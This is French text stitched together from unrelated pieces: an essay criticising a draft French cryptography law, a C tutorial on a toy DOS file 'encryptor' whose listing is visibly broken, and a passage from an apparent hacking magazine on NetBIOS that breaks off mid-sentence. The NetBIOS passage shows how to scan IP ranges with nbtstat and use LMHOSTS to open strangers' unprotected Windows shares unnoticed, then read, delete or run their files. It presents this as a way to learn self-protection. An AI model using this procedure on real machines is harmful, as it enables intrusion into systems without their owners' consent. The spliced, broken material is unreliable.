d'un médecin, d'un notaire, d'un avoué ou d'un huissier, en présence d'un représentant de l'ordre
concerné (art. 56-1).
Mieux, dans le cadre d'une enquête préliminaire, c'est-à-dire s'il n'y a pas flagrance et si la personne
n'est pas mise en examen, une perquisition chez elle suppose son accord écrit préalable (article 75)
qu'elle n'est évidemment pas tenue d'accorder. Il y a bien une exception dans le cadre de la lutte
contre le terrorisme, mais elle suppose une décision d'un juge sur requête du procureur
(article 706-24).
La rédaction actuelle du projet pourrait faire penser qu'un officier de police judiciaire, procédant
d'office à une enquête préliminaire ou constatant le caractère flagrant d'un délit ou d'un crime, puisse
obtenir, sans aucun contrôle d'un magistrat, la communication de toutes les clés secrètes qu'il veut,
sans que les intéressés en soient jamais avertis.
En effet, on voit mal pourquoi le tiers de confiance chez qui s'effectue la perquisition refuserait son
autorisation, même écrite ! Son activité (dont on peut supposer qu'elle puisse être lucrative) est
subordonnée à une autorisation de l'administration : il a tout intérêt à entretenir de bons rapports
avec elle... Peut-il se permettre de déclarer solennellement, éventuellement moyennant des pénalités
contractuelles considérables en cas de manquement, qu'il ne remettra jamais une clé sauf s'il y est
contraint par la loi, qu'il refusera son autorisation s'il ne s'agit que d'une simple enquête préliminaire,
et qu'il informera immédiatement son client de toute demande de communication dans la mesure où
la loi ne le lui interdit pas ? Cela constituerait certainement un argument commercial de première
importance, parfaitement en accord avec la loi, mais ce tiers qui serait réellement de confiance
aurait-il la moindre chance d'obtenir l'agrément ?
On risque d'être très loin du luxe de précautions normalement prévues pour l'interception des
communications à l'insu de l'intéressé, et dont on sait qu'elles ne sont même pas suffisantes. Il se peut
que ce soit en effet là ce que veulent les auteurs du projet, mais dans ce cas, il conviendrait à tout le
moins de le préciser clairement, et que le Parlement en discute. Car à quel usage légal pourrait bien
être destinée la connaissance de ces clés, sinon à l'examen de documents ou de messages auxquels
l'autorité requérante a légalement accès ?
Seul l'usage de la cryptologie est qualifié de "libre" par le projet, et seulement dans les deux cas
mentionnés : celui où elle n'assure pas de confidentialité, et celui où l'on a recours aux tiers de
confiance. Pour le reste, le régime ne change guère, si ce n'est que les décrets d'application devraient
apporter des allégements des formalités, tout en multipliant les cas de figure avec quelques
nouveautés intéressantes. Comme par le passé, le projet prévoit deux modalités de contrôle : la
déclaration et l'autorisation.
De plus, le décret d'application pourra substituer la déclaration à l'autorisation "pour les opérations
portant sur des moyens ou des prestations de cryptologie, dont les caractéristiques techniques ou les
conditions d'utilisation, tout en justifiant [...] un suivi particulier, n'exigent pas l'autorisation préalable
de ces opérations". On attend les détails, car il est difficile de voir de quoi il peut être question.
Il est prévu "un régime simplifié de déclaration ou d'autorisation pour certains types de moyens ou de
prestations ou pour certaines catégories d'utilisateurs". Logiquement, cela devrait concerner
notamment les banques, qui se servent depuis longtemps (avec l'autorisation du gouvernement) de
mécanismes de transactions sécurisées, depuis le banal distributeur automatique de billets jusqu'aux
transferts de fonds internationaux. Mais cela concerne certainement aussi les services de l'Etat,
armée, affaires étrangères, police, etc, qui sont comme tout le monde soumises à la loi, et qui ont
évidemment des besoins particuliers.
A ces catégories un peu privilégiées d'utilisateurs, on aimerait en ajouter au moins deux autres : les
avocats, dans le cadre de la correspondance avec leurs clients, et les médecins. Leur secret
professionnel est absolu ; il serait logique d'autoriser qu'il soit garanti par tout moyen technique.
Le décret d'application établira "la dispense de toute formalité préalable pour les opérations portant
sur des moyens ou des prestations de cryptologie, dont les caractéristiques techniques ou les
conditions d'utilisation sont telles que ces opérations ne sont pas susceptibles de porter atteinte aux
intérêts" "de la défense nationale et de la sécurité intérieure ou extérieure de l'Etat".
On peut espérer que cette disposition permettra enfin d'autoriser, une fois pour toutes, les procédés
de cryptologie passablement ridicules qui vous protègent contre l'indiscrétion de votre petite soeur si
elle n'est pas très futée, mais non contre un cryptologue un tant soit peu compétent. La fourniture de
Word et d'Excel ne constituera plus une contravention de 5e classe passible de 10 000 F d'amende
par infraction, ce qui devrait rassurer Microsoft France.
Evidemment, on attend avec curiosité les critères qui détermineront qu'un procédé n'est pas
"susceptible de porter atteinte aux intérêts de la défense nationale et de la sécurité intérieure ou
extérieure de l'Etat". Logiquement, il faut s'attendre à une limite au nombre de bits d'entropie de la
clé. La valeur précise de cette limite sera très intéressante. Comment le SCSSI situe-t-il lui-même
ses capacités par rapport, disons, à celles de la NSA américaine ? Les Français feront-ils mieux ou
moins bien que les 40 bits des Etats-Unis, cassés en une semaine par Damien Doligez ?
Le régime ordinaire d'autorisation
En dehors de ces cas, le régime continuera à être celui de l'autorisation préalable. Compte tenu de la
multiplicité des cas particuliers qui ont été prévus, il y a fort à parier qu'en fait, si la demande ne peut
pas se rattacher à l'un d'entre eux, elle sera tout simplement rejetée. Il ne faut pas s'attendre à ce que
PGP soit autorisé pour le citoyen ordinaire.
La référence à l'Europe
Le projet de loi mentionne à plusieurs reprises la notion d'importation d'un pays n'appartenant pas à
l'Union européenne (et non "Communauté européenne", comme le texte le dit systématiquement à
tort - la Communauté n'a pas de compétence pour les questions de sécurité, elle reste
essentiellement économique ; depuis le Traité de Maastricht, le terme d'"Union européenne" désigne
une entité plus ambitieuse englobant, notamment, une politique commune en matière de défense,
d'affaires étrangères, de sécurité, d'immigration, de citoyenneté, etc).
Ceci suscite des interrogations : s'il est vrai que des réflexions ont été menées au sein des instances
européennes sur une harmonisation de la réglementation de la cryptologie, et en particulier sur les
tiers de confiance, elle n'ont pas, que l'on sache, abouti à une décision. Il n'est nullement évident que
l'ensemble des membres de l'Union se rangent aux thèses passablement maximalistes françaises ; à
l'heure actuelle, seule la Belgique semble vouloir restreindre la liberté de la cryptologie, et toute
évolution dans ce sens constituerait un changement de cap majeur au moins dans les nations
d'Europe du Nord (Suède, Finlande, Danemark, Pays-Bas, Royaume-Uni, Irlande)
traditionnellement jalouses de libertés individuelles, auxquels on peut ajouter celles (Allemagne,
Autriche, Italie, Espagne, Portugal, Grèce) dont l'expérience assez récente d'une dictature tendrait en
principe à les rendre méfiantes vis-à-vis d'un contrôle excessif de la part du pouvoir politique.
Les sanctions
Le texte prévoit une série de sanctions, en général bien plus lourdes que par le passé. Le caractère
"libéral" des nouvelles dispositions reste limité.
D'abord, une surprise bienvenue : le simple usage d'un moyen de cryptologie non autorisé ne semble
plus punissable, à moins qu'un décret ne le qualifie de contravention et prévoie une peine d'amende.
En revanche, s'il a lieu "en vue de faciliter la préparation ou la commission d'un crime ou d'un délit",
l'usage, la fourniture, l'importation d'un pays n'appartenant pas à l'Union européenne, et l'exportation
sont passibles de trois ans de prison et de 500 000 F d'amende.
Cela semble conforme au bon sens : ce n'est évidemment pas la cryptographie en tant que telle qui
pose problème, mais bien son abus à des fins criminelles. L'ancienne sanction (10 000 F d'amende
pour usage sans autorisation, que ce soit pour chiffrer son journal intime ou un ordre de mission
terroriste) ne pouvait manifestement dissuader que les honnêtes gens, et n'a, à ma connaissance,
jamais été appliquée. On arrive enfin à des dispositions pénales qui permettent de prendre la loi au
sérieux.
Cependant, il aurait peut-être été plus judicieux d'ajouter "puni d'une peine de plus de deux ans
d'emprisonnement" à la suite de "en vue de faciliter la préparation ou la commission d'un crime ou
d'un délit". On peut en effet craindre qu'un juge d'instruction ne puisse faire artificiellement tomber,
en invoquant le délit nouvellement créé, la limite inféreure de deux ans de prison qui est lui est
nécessaire, en vertu de l'article 100 du Code de procédure pénale, pour ordonner une mise sur
écoute. Supposons qu'il soupçonne quelqu'un d'un délit mineur ; comme l'usage de la cryptologie
non autorisée pour "faciliter la préparation ou la commission" de ce délit constitue, lui, un délit
majeur, il suffirait qu'il l'inclue dans ses soupçons pour pouvoir procéder aux écoutes... Les
"dispositions libérales" du projet de loi aboutiraient en fait à des possibilités accrues d'interception.
Les peines pour fourniture sans autorisation sont nettement renforcées : de 10 000 F d'amende, elles
passent à six mois de prison et 200 000 F d'amende. C'est plutôt sévère, mais sans conséquence : il
fallait déjà être fou pour fournir sciemment des solutions cryptologiques non autorisées en France à
partir du territoire français, alors qu'il suffisait, et qu'il suffit toujours, de franchir la frontière et de
s'entendre avec un fournisseur étranger pour être en règle avec la loi, quitte à priver, au passage, la
nation française de revenus. Même si l'exportation est interdite, on ne peut pas empêcher un
développeur de sortir du territoire avec sa tête et ses idées. Et rien ne s'oppose à ce qu'il rapatrie
ensuite des revenus tirés d'activités qui seraient illégales en France, mais qui ne le sont pas dans le
pays où elles ont lieu - c'est ce que font, par exemple, les entreprises qui délocalisent afin de profiter
de salaires inférieurs au SMIC français.
Cela dit, la même peine s'applique, non seulement pour l'exportation, mais aussi pour l'importation à
partir d'un pays n'appartenant pas à l'Union européenne, et cela, c'est franchement contestable.
Va-t-on mettre en prison les dizaines de milliers d'utilisateurs des versions américaines de
Netscape ? Ceux qui auront eu le malheur de télécharger PGP à partir de ifi.uio.no (Norvège, pays
qui a refusé par référendum l'adhésion à l'Union), et non de ad.or.at (Autriche), cert.dfn.de
(Allemagne), encomix.es (Espagne), funet.fi (Finlande), dsi.unimi.it (Italie), sunet.se (Suède) ou
ox.ac.uk (Royaume-Uni), qui sont tous situés dans l'Union ?
Le projet punit aussi deux ans de prison et de 300 000 F d'amende "le fait de gérer, pour le compte
d'autrui, des conventions secrètes de moyens ou de prestations de cryptologie permettant d'assurer
des fonctions de confidentialité sans avoir obtenu l'agrément [...] ou en dehors des conditions de cet
agrément".
L'étendue de ce nouveau délit est difficile à cerner. Il est manifestement constitué dans le cas d'un
serveur clandestin de clés de sessions situé sur le territoire français, et à première lecture, c'est bien
ce genre de choses qui seraient visées. Dès lors qu'on impose aux tiers de confiance d'être agréés, il
est logique qu'on punisse ceux qui ne le sont pas, ou qui ne respectent pas les clauses de leur
agrément.
Le problème, c'est qu'il n'est nullement nécessaire de recourir à un tiers, agréé ou non, pour établir
une communication inviolable entre deux personnes. Les rédacteurs du projet de loi semblent
convaincus qu'une bonne gestion de clés, et en particulier une authentification fiable, suppose des
organismes centralisateurs ; M. Vincent-Carrefour, l'ex-directeur de l'ancienne Délégation
Interministérielle pour la Sécurité des Systèmes d'Information (DISSI) l'a d'ailleurs explicitement
affirmé. Ce n'est cependant pas le cas ; le système des tiers de confiance est une institution artificielle
créée pour des raisons de politique de sécurité, non une nécessité technique. Un système comme
PGP, et c'est justement son principal intérêt théorique, ne suppose aucune gestion centralisée de
clés. L'authentification se fait au moyen d'un "réseau de confiance" géré, si tant est que ce mot est
approprié, par l'ensemble des utilisateurs du monde entier.
Le problème se pose donc de savoir si un logiciel comme PGP, ou même Netscape, Internet
Explorer ou d'autres permettant des communications sécurisées par une clé publique chiffrant une clé
secrète de session, seront considérées comme gérant une convention secrète pour le compte
d'autrui, cet autrui étant le destinataire du message. La même question peut se poser pour des
procédés beaucoup plus simples dans lesquels les deux correspondants partagent tout simplement la
même clé secrète - la gèrent-ils pour le compte l'un de l'autre ? Si c'est le cas, et à moins d'une
autorisation, leur usage constitue un délit puni de deux ans de prison, ce qui est justement (article
100 du CPP) la limite inférieure autorisant une mise sur écoute judiciaire permettant de détecter
l'infraction.
Une telle interprétation peut être soupçonnée par l'absence totale du mot "tiers" dans le texte du
projet. On y parle d''autrui", ce qui inclut logiquement le destinataire. En revanche, le contexte
général ansi que les expressions "gérer" et plus encore "pour le compte de" suggèrent bien une
activité de services du genre de ceux que la loi prévoit pour les organismes agréés, lesquels, en
général, ne seront ni l'émetteur, ni le récepteur du message à chiffrer, mais bien leur fournisseur d'une
prestation de cryptologie. Bref, le texte est ambigu, et en l'absence de précisions dont on peut
craindre qu'elles ne seront données que par la jurisprudence, le justiciable ne sait pas très bien de
qu'il risque.
En effet, si par "autrui", on entend un tiers : quelqu'un qui n'est ni l'émetteur, ni le destinataire du
message, ou si l'on considère que le fait de fabriquer, sans que le destinataire l'ait commandé, une clé
de session que lui seul peut lire ne saurait constituer à lui seul une gestion pour son compte, si, en
somme, ce qui est visé dans ce nouveau délit d'exercice illégal d'une activité de tiers de confiance est
bien ce qu'une lecture rapide peut faire penser, la situation est très différente.
Dans une telle interprétation, il n'y aurait pas grand risque à se servir de PGP ou d'un autre logiciel
analogue, dès lors que ce n'est pas à des fins elle-mêmes délictueuses ou criminelles. Ce serait
interdit, bien sûr, mais ce ne serait, au plus, qu'une contravention de 5e catégorie punissable d'une
amende de 10 000 F (20 000 en cas de récidive), et encore, si le décret d'application en décidait
ainsi. On serait très loin du délit puni de deux ans de prison au moins qui permettrait une écoute
pouvant donner lieu à des preuves non nulles ; il serait donc en général difficile d'établir l'infraction
d'une manière qui puisse aboutir à une condamnation.
Ce ne serait que par l'usage de la cryptologie non autorisée à des fins délictueuses ou criminelles que
l'écoute judiciaire deviendrait possible, et la détection plus facile. En somme, une interprétation de ce
type, outre qu'elle semble très défendable par rapport au texte, permettrait une sorte de compromis
honorable tacite entre les partisans par principe d'une réglementation de la cryptologie, et ceux qui
pensent qu'elle devrait être autorisée, dès lors que ce n'est pas à des fins illégales - une sorte de
dépénalisation de fait. Mais il n'est pas certain que c'est le point de vue qui va prévaloir en pratique,
bien que des emprisonnements pour simple usage de logiciels autorisés dans tout le reste du monde
démocratique auraient un impact désastreux dans l'opinion publique mondiale.
Notons enfin que si le projet de loi prévoit des sanctions sérieuses pour tout ce qui tendrait à diffuser
une cryptologie non contrôlée, en revanche, il reste muet sur le manquement au secret professionnel
du tiers de confiance. Les "dispositions pénales particulières" qui "sont prévues s'ils ne [se]
conformaient pas" aux "règles auxquelles ils ont souscrit" mentionnées par la notice du ministère
concernent le cas où ils trahiraient la confiance du gouvernement, non celui où ils trahiraient celle de
leurs clients. L'atteinte au secret professionnel n'est puni que d'un an d'emprisonnement et de
100 000 F d'amende (article 226-13 du nouveau Code pénal), soit la moitié de ce qui frappe la
gestion illicite de conventions secrètes pour le compte d'autrui. Une fois de plus, on a l'impression
curieuse que le législateur se méfie plus de ceux qui voudraient se préserver de l'espionnage que des
espions eux-mêmes.
Or, le projet de loi précise que les organismes agréés doivent exercer leurs activités sur le territoire
national. Dès lors, comment une entreprise française pourra-t-elle utiliser les mêmes ressources de
communications rapides et sûres que ses partenaires et ses concurrents étrangers ? Il n'y a plus qu'à
espérer que les autres pays du monde n'imposeront pas des conditions analogues de contrôle
strictement national, sinon, la France ne pourra pas bénéficier des échanges sécurisés internationaux.
Elle risque de devoir cantonner son utilisation des nouvelles techniques de télécommunications soit
dans un cadre purement hexagonal, soit pour des applications dont le monde entier peut sans
dommage prendre connaissance.
Si l'on admet que le principe d'un mécanisme de tiers de confiance puisse se justifier, il faudrait donc
qu'il soit adopté en des termes semblables à l'échelle internationale. Il faudrait, par exemple, que la
France admette le recours à des tiers de confiance situés dans des pays avec lesquels il y aurait des
accords de réciprocité quant à leur communication. Ce n'est pas évident à obtenir ; même au sein de
l'Union européenne, tous les états n'ont pas la même perception de la nécessité d'empêcher les
citoyens de dissimuler leurs secrets à leur guise, dès lors que ces secrets ne sont pas de nature
criminelle.
Personne ne peut souhaiter que la cryptologie favorise les activités contraires à la loi.
Cependant, on peut s'interroger sur l'efficacité d'une réglementation, quelle qu'elle soit : il est loin
d'être évident que les criminels les plus intelligents et les plus redoutables auront le bon goût de s'y
soumettre... On voit mal les espions et terroristes manipulés depuis l'étranger utiliser sagement les
mécanismes officiels français. Quant aux trafiquants de drogue et autres grands criminels organisés,
ils ne vont pas adopter des procédés autorisés mais peu sûrs de leur point de vue, même s'ils
encourent trois ans de prison de plus en en adoptant d'autres - ils risquent déjà la perpétuité, et leur
priorité, c'est de ne pas se faire prendre.
Si donc ce sont les trafiquants de drogue et les terroristes qui servent d'épouvantail pour justifier la
réglementation, ce ne sont probablement pas eux qui sont, en fait, visés, mais plutôt les délinquants
"ordinaires". Une banalisation de procédés cryptologiques facilement accessibles pourrait, en un
premier temps, les pousser dans une certaine mesure à la faute. Evidemment, au bout de quelques
condamnations résultant d'interceptions de messages chiffrés par des moyens autorisés, ils auront
compris - si les petits malfrats sont rarement des candidats au prix Nobel, ils ne sont pas non plus
cliniquement idiots. Cela dit, la perspective de trois ans de prison supplémentaires (à supposer qu'on
ne prononce pas la confusion des peines) peut dissuader. En revanche, il ne faut pas s'attendre à ce
que la répression de la fourniture de moyens non autorisés diminue le moins du monde leur
disponibilité. Il ne faut pas même l'effort nécessaire à obtenir de fausses pièces d'identité ou des
armes clandestines pour trouver des moyens de cryptologie sûrs : il suffit de télécharger PGP.
Est-ce que, compte tenu des limites des résultats qu'on peut en attendre, et des inconvénients, des
lourdeurs et des complications internationales que cela implique, une réglementation du genre
proposé se justifie ? Le mécanisme des tiers de confiance ne sera sûrement pas gratuit - que ce soit
l'utilisateur ou le contribuable, quelqu'un devra le payer. Il en résultera forcément un certain obstacle
à la diffusion de la cryptologie, ce qui est peut-être le but recherché, mais qui favorise l'espionnage,
et pas seulement au profit de l'administration française.
Car il y a des alternatives moins contestables pour lutter contre les abus de la cryptologie, et le
projet de loi en amorce une : réprimer, non pas la cryptologie en soi, mais son utilisation à des fins
criminelles. Cependant, le projet s'arrête en cours de route, obsédé par l'idée que c'est la cryptologie
elle-même qui est en cause : il ne sanctionne pas le fait d'utiliser un moyen de cryptologie à des fins
criminelles si le moyen est, lui, autorisé ! On aurait pu dire, tout simplement, que l'usage de la
cryptologie en vue de dissimuler un crime ou un délit constitue, de toutes façons, une circonstance
fortement aggravante. Et l'on peut réprimer le refus, par l'intéressé lui-même, de fournir ses clés à la
demande du juge d'instruction : c'est une entrave à la justice par soustraction de documents, punie de
trois ans de prison et de 300 000 F d'amende par l'article 434-4 du nouveau Code pénal - donc,
plus sévèrement que ce qui est prévu le manquement à leurs devoirs de la part des tiers de
confiance.
Toute nouvelle technique peut être détournée à des fins criminelles. Quand la bande à Bonnot utilisa
pour la première fois un véhicule automobile pour prendre la fuite après un vol à main armée, on
aurait pu être tenté de limiter l'usage de l'automobile... Dans le cas de la cryptologie, le problème est
compliqué par le fait que les spécialistes qui ont l'oreille du gouvernement sont soit des
professionnels du renseignement qui ne veulent pas être privés de leurs sources, soit des inventeurs
de procédés de chiffrement à destination militaire ou diplomatique qui voient d'un mauvais oeil leur
spécialité traditionellement très discrète s'étaler désormais sur la place publique. Il serait peut-être
temps que les pouvoirs publics se rendent compte des dangers que font naître les obstacles à la
cryptologie, de la délinquance ordinaire (chantage, détournements de fonds, intrusions sur les
ordinateurs, etc) jusqu'à l'espionnage industriel international. En un mot, qu'ils se mettent un peu
moins dans la peau de l'espion pour se mettre un peu plus dans celle de l'espionné.
Johannes Baagøe
Commençons à étuider le programme : comme nous l'avons vu dans le premier guide, il commence
par une série de #include et puis par la fonction main:
#include "stdio.h"
#include "conio.h"
#include "dos.h"
void main(void)
{
En examinant ces variables, 2 types nous sont inconnus : FILE , ainsi que date . struct n'est pas tout à
fait un type de variable, c'est en fait une structure de données : un groupe contenant plusieurs
données .Ces 2 types de données sont en fait définis dans le fichier dos.h , FILE est aussi une
structure mais contenant des informations sur le fichier (son handle,sa taille,ses droits d'accès ...)
alors que date contient 3 données ,une pour le jour,une pour le mois et une pour l'année ;celle-ci sont
toujours appellées de la même manière, respectivement da_day,da_mon et da_year .Mais comme
elles sont comprises dans une structure, pour les utiliser il faut utiliser le nom de la structure juste
devant avec un point .Ici le nom de la structure est d .
getdate(&d);clrscr();
La fonction clrscr() définie dans conio.h sert à effacer l'écran alors que la fonction getdate( struct
date) permet d'initialiser une structure date à la date actuelle, c'est à dire mettre dans da_day le jour,
dans da_mon le mois et dans da_year l'année .
Ensuite une petite routine permet de vérifier le millénaire actuel afin de n'afficher la date qu'avec
l'année sur 2 chiffers ( 17/01/99 au lieu de 17/01/1999 ) :
if(d.da_year<2000)
{d.da_year-=1900;}
else
{d.da_year-=2000;}
printf("\t\tEncryptor V 2.0\n");
printf("%d/%d/%d\n",d.da_day,d.da_mon,d.da_year);
On constate que lors de l'affichage de la date, les variables sont référencées par d.da_day,d.da_mon et
d.da_year ... Ensuite, une routine nous permet de demander lenom du fichier que l'utilisateur souhaite
encrypter :
get_name:
printf("Name of the file to encrypt or decrypt (with full path):\n");
scanf("%s",src);
sourc=fopen(src,"rb");
if(sourc==NULL)
{
printf("\aError opening file:(C)hange/(Q)uit\n");
ask_erase:
car=getch();
switch(car)
{
case 99:
goto get_name;
case 113:
goto end;
default:
goto ask_erase;
}
}
A l'aide de la fonction scanf() ,nous récupérons le nom du fichier d'origine, lui attribuons le pointeur
de type FILE src via la fonction fopen(), puis vérifions l'état du pointeur src . Si celui-i vaut NULL,
cela signifie qu'il s'est produit une erreur lors du chargement du fichier Si c'est le cas, nous dmandons
àl'utilisaeur s'il veut resaisir un nom ou quitter le programme. Pour cela nous utilisons la fonction
getch() combinées à une structure conditionnelle switch()
et_code:
code=0;verif=0;
printf("Enter your encrypt-key:");
get_key:
car=getch();
switch(car)
{
case 13:
goto confirmation_code;
case 27:
clrscr();
printf("Are you sure?(Y/N)");
ask_other:
switch(sur)
{
case 121:
sur=getch();
goto end;
case 110:
clrscr();
printf("File to encrypt or decrypt:\n%s\n",src);
goto get_code;
}
goto ask_other;
default:
code +=car;
printf("*");
goto get_key;
}
confirmation_code:
printf("\nConfirm your encrypt-key:");
reget_key:
car=getch();
switch(car)
{
case 13:
goto test_cod;
case 27:
clrscr();
printf("Are you sure?(Y/N)");
re_ask:
sur=getch();
switch(sur)
{
case 121:
goto end;
case 110:
printf("\nFile to encrypt or decrypt:\n%s\n",src);
goto get_code;
}
goto re_ask;
default:
verif +=car;
printf("*");
goto reget_key;
}
Cette routine permet donc de stocker dans les variables code et verif la somme des codes ASCII des
tocuhes frappées par l'utilisateur en tant que code .C'est une des failles du programme dans la mesure
ou les mots de passes "bc" et "ad" seront codés de la même manière ...
test_cod:
if(code==verif)
{
printf("\nOK...starting working");
goto encrypt;
}
else
{
clrscr();
printf("Error in confirming your encrypt-key...");
code=0;verif=0;
printf("\nFile to encrypt or decrypt:\n%s\n",src);
goto get_code;
}
Cette routine permet de vérifier que le code rentré puis confirmé sont bien les mêmes . Si c'est le cas,
le programme poursuit l'exécution , sinon il revient à la demande de code après avoir réinitialisé les
variables .
encrypt:
printf("\nName of the encrypted or decrypted file to generate (with full path):\n");
scanf("%s",dst);
dest=fopen(dst,"rb");
if(dest!=NULL)
{
fclose(dest);
printf("File already exists:(O)verwrite/(C)hange name?");
re_ask2:
sur=getch();
switch(sur)
{
case 99:
clrscr();
goto encrypt;
case 111:
goto crypt;
default:
goto re_ask2;
}
}
Ce passage demande à l'utilisateur le nom du fichier vers lequel il veut crypter ou décrypter le fichier
source .Si celui-ci existe déjà, il lui demande s'il désire l'effacer .Pour celà, nous essayons d'abord
d'ouvrir le fichier en mode lecture . Si le pointeur contient NULL, cela veut dire que le fichier n'existe
pas . Sinon, le fichier existe déjà . Pour la demande à l'utilisateur,nous utilisons encore une structure
conditionnelle switch().
crypt:
for(car=0;code<0;code+=256);
for(car=0;code>255;code-=256);
fclose(dest);
dest=fopen(dst,"wb");
Cette routine permet de préparer la procédure principale d'encryptage en ouvrant le fichier destination
et en préparant la clé de cryptage en la remettant sur un octet c'est-à-dire entre 0 et 255 compris .Nous
le faisons au moyen de la structure conditionnelle for();
cryptage:
oct=fgetc(sourc);
if(feof(sourc))
{goto file_end;}
oct +=code;
for(sur=0;oct<0;oct+=256);
for(sur=0;oct>255;oct-=256);
oct=255-oct;
fputc(oct,dest);
goto cryptage;
Voici la routine d'encryptage : celle-ci consiste a lire un octet du fichier, à y ajouter le code de
l'utilisateur,à le rétablir sur un octet c'est-à-dire entre 0 et 255 compris et à faire l'inverse bit-à-bit ce
qui consiste à soustraire la valeur à 255 . Le résultat de cette soustraction est écrite dans le fichier de
destination . Si l'octet lu est le dernier, on quitte la rutine d'encryptage sinon on continue . Les
fonctions fgetc() et fputc() permettent de respectivement lire et écrire un octet dans un fichier .
file_end:
clrscr();
fcloseall();
Cette série de 2 instructions permet d'une part d'effacer l'écran mais aussi de fermer tous les fichiers
ouverts grace à fcloseall() . Ceci est très important dans la mesure ou les données ne sont écrites sur
le disque qu'après fermeture des fichiers .
Ici, nous demandons à l'utilisateur s'il souhaite effacer le fichier source . Si c'est le cas, nous n'allons
pas directement effacer moyen de la command remove() . En effet, celle-ci ne protège pas contre les
programmes comme undelete qui permettrait de retrouver le fichier . Nous allons d'abord l'ouvrir en
écriture de manière à effacer son contenu puis nous y écrivons juste un octet nul , nous le refermons
et l'effaçons ensuite avec remove . Il est toujurs accessible via undelete mais on accède à un fichier
vide .
pre_end:
re_ask4:
car=getch();
switch(car)
{case 121:
oct=0;goto get_name;
case 110:
goto end;
default:
goto re_ask4;
}
end:
clrscr();
printf("\twww.multimania.com/xcpu:Encryptor V 2.0 coded by Bloodwaves\
\n\[email protected] January 1999");
fcloseall();
}
Voici les dernières instructions ,ainsi que la demande à l'utilisateur s'il possède d'autres fichiers à
transformer .
Bon,j'ai essayé via cette dissection de vous expliquer quelques fonctions et principes du C sous Dos
dumoins ... Le programme compilé avec le listing sont téléchargeables juste en dessous.
4/ Se protéger des commandes Netbios
Vous avez deux PC sous Windows 95/98/NT à relier en réseau. Mais ils sont distant de 1000
kilomètres. Nous allons vous décrire une procédure simple, exploitant les fonctionnalités de
Windows et d'Internet. Mais comme toute médaille, l'aspect face du procédé dévoile aussi une faille
de Windows. En vous expliquant par le menu la procédure, nous vous expliquerons également
comment vous prémunir contre les effets indésirables du procédé: le piratage!
Installation du réseau
En entreprise, ou à titre personnel pour les plus fortunés d'entre-vous, chers amis lecteurs et
bidouilleurs occasionnels, vous appréciez particulièrement la mise en réseau des micro-ordinateurs,
liaison permettant un partage aisé des fichiers, des applications et des ressources. Il est possible, sous
Windows, de mettre en réseau plusieurs systèmes en utilisant comme support réseau Internet.
Sous Windows, le réseau local échange les informations au protocole NetBUI. Si vous n'avez pas
activé ce réseau, c'est très simple, sous Windows 95/98, procédez comme suit:
- bouton "Démarrer" - Paramètres - Panneau de configuration.
- dans le panneau de configuration, cliquez sur Réseau. (voir figure 1)
- dans Réseau, cliquez sur Ajouter
- sélectionnez "client" et cliquez sur Ajouter
- sélectionnez ensuite Microsoft et comme client réseau "Client pour réseau Microsoft".
Vous devez installer Client pour les réseaux Microsoft et Fichier et imprimante partagés par le réseau
Microsoft. Suivez le reste de la procédure jusqu'au relancement de votre système. Ayez le CD-Rom
Windows 95/98 à portée de main, car il risque de vous être demandé.
Si le réseau est correctement installé, vous devez avoir une nouvelle icône Voisinage réseau sur votre
bureau. Si vous n'avez aucune liaison réseau, l'activation de cette icône vous indique que le parcours
du réseau global est impossible.
Pour les besoins de notre démonstration, cette adresse est fictive. Si le système cible est en réseau
local NetBIOS, vous devez avoir à l'affichage des informations renvoyées par l'exécution de nbtstat.
Dans les informations affichées, la seule qui nous intéresse est pointée par <20>, sous le nom
BRAUNEIG pour ce qui concerne notre exemple de la figure 2. C'est le nom de l'ordinateur qu'il faut
relier à votre réseau local.
Dans ce fichier, tapez simplement l'adresse IP de la machine cible, suivi de son nom et de #PRE
comme suit:
175.193.256.35 BRAUNEIG #PRE
Sauvez ce fichier sous le nom LMHOSTS et quittez l'éditeur. De retour sous DOS, tapez:
nbtstat -R
C'est tout! Revenez sous Windows, cliquez sur Démarrer - Rechercher - Ordinateur. Comme nom
d'ordinateur, indiquez celui qui a été saisi dans le fichier LMHOSTS. Si tout se passe bien, la
machine cible s'affiche dans la fenêtre de résultat de recherche (voir figure 3). Cliquez simplement
avec le bouton droit de la souris sur le nom de l'ordinateur dans cette fenêtre de recherche, puis
cliquez sur Ouvrir.
Vous voilà connecté au système cible. Comme on peut le voir sur la figure 4, nous avons maintenant
accès à toutes les ressources partagées du système cible. Nous pouvons visualiser le contenu de tous
les dossiers de tous les disques accessibles, copier ces fichiers vers notre système, copier des fichiers
depuis notre système vers le système cible, détruire, renommer, ouvrir mmêmeces fichiers et même
exécuter des programmes! En cliquant sur un programme exécutable, il s'exécutera sur votre système.
Oui, vous pouvez effectuer tout ce qui est concevable en réseau local au travers de votre extension de
réseau Internet.
L'établissement d'un réseau local au travers d'une liaison Internet par réseau RTC reste fastidieuse,
mais est une bonne alternative pour permettre par exemple à un gestionnaire de parc PC de faire un
peu de ménage dans un système mal utilisé, voir même d'installer à distance des applications et des
fichiers. Cet établissement de réseau local devient nettement plus intéressant pour des abonnés
connectés longtemps avec des adresses IP stables, cas des systèmes sur LS, abonnés câble ou ADSL.
La vitesse de communication sur cette exténsion du réseau local est tributaire des possibilités de votre
matériel de communication, faible en RTC, beaucoup plus performante sur LS, ADSL ou réseau
câblé.
Mais ce procédé d'extension du réseau local révèle un véritable problème de sécurité. Le système
Windows ne fait aucune différence entre des ressources partagées sur le réseau strictement local et un
système distant qui se connecte au travers d'Internet. Si le système exploite le partage de ses
ressources sans mot de passe d'accès à ces ressources, il est vulnérable à toute attaque extérieure
pendant qu'il navigue sur Internet.
Vous pensez qu'il est très aléatoire de tomber sur un système exploitant un réseau local non protégé.
Détrompez-vous. Pour en avoir le cœur net (sans jeu de mot), nous avons utilisé un outil, WS-
PingPro Pack, outil qui scanne une suite d'adresses IP et indique toutes les adresses IP actives. La
simple manoeuvre effectuée par la commande nbtstat -A adresse_ip révèle toutes les adresses IP
ayant un réseau NetBIOS actif. En moyenne, c'est près d'une adresse IP sur cinq qui répond
positivement. Parmi ces adresses actives, nous en avons découvert sans aucune protection d'accès à
leurs ressources.
En clair, il est donc possible de pénétrer ouvertement des systèmes sous Windows 95/98 exploitant
un réseau local non protégé sous NetBIOS, à l'insu de son utilisateur, sans recourir à un logiciel
serveur comme c'est le cas quand on utilise NetBus ou Back Orifice (voir Pirates no 2).
Les protections
Qu'il n'y ait aucune méprise! Si on vous révèle une telle faille de sécurité, c'est justement pour vous
expliquer comment vous protéger.
La première protection, la plus élémentaire, naviguez sur Internet à partir d'un système non raccordé
